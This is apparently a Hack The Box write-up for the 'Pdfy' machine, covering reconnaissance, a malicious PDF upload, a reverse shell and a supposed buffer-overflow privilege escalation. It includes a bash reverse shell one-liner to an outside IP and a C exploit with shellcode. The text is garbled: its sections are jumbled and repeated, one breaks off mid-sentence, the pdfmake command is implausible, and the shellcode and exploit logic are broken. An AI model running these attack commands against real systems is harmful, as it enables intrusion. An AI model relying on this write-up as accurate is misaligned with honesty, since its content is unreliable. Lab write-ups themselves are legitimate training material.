Pdfy Htb Writeup Info
find / -perm /u=s -type f 2>/dev/null The find command reveals a setuid binary called /usr/local/bin/pdfy . We can use this binary to escalate our privileges.
dirbuster -u http://10.10.11.231/ -o dirbuster_output The DirBuster scan reveals a /uploads directory, which seems like a good place to start. We can use tools like Burp Suite to send a malicious PDF file to the server and see if it is vulnerable to a file upload exploit.
curl -X POST -F "file=@malicious.pdf" http://10.10.11.231/uploads/ After uploading the malicious PDF file, we notice that the server is executing arbitrary commands. We can use this vulnerability to gain a foothold on the box. Pdfy Htb Writeup
pdfmake -f malicious.pdf -c "bash -i >& /dev/tcp/10.10.14.16/4444 0>&1" Once we upload the malicious PDF file to the server, we receive a reverse shell.
#include <stdio.h> #include <string.h> void exploit() { char buffer[1024]; memset(buffer, 0x90, 1024); *(char *)(buffer + 1000) = 0x31; *(char *)(buffer + 1001) = 0xc0; *(char *)(buffer + 1002) = 0x50; *(char *)(buffer + 1003) = 0x68; char *shellcode = "h//shhçG1ÀPh-comhG° Í"; memcpy(buffer + 1004, shellcode, strlen(shellcode)); printf(buffer); } int main() { exploit(); return 0; } We compile the exploit code and execute it to gain root access. find / -perm /u=s -type f 2>/dev/null The
Pdfy HTB Writeup: A Step-by-Step Guide**
After gaining a foothold on the box, we need to escalate our privileges to gain root access. We start by exploring the file system and looking for any misconfigured files or directories. We can use tools like Burp Suite to
To begin, we need to add the Pdfy box to our Hack The Box account and obtain its IP address. Once we have the IP address, we can start our reconnaissance phase using tools like Nmap and DirBuster.
After analyzing the pdfy binary, we notice that it is vulnerable to a buffer overflow exploit. We can use this vulnerability to gain root access.
We use the pdfmake tool to create a malicious PDF file that executes a reverse shell.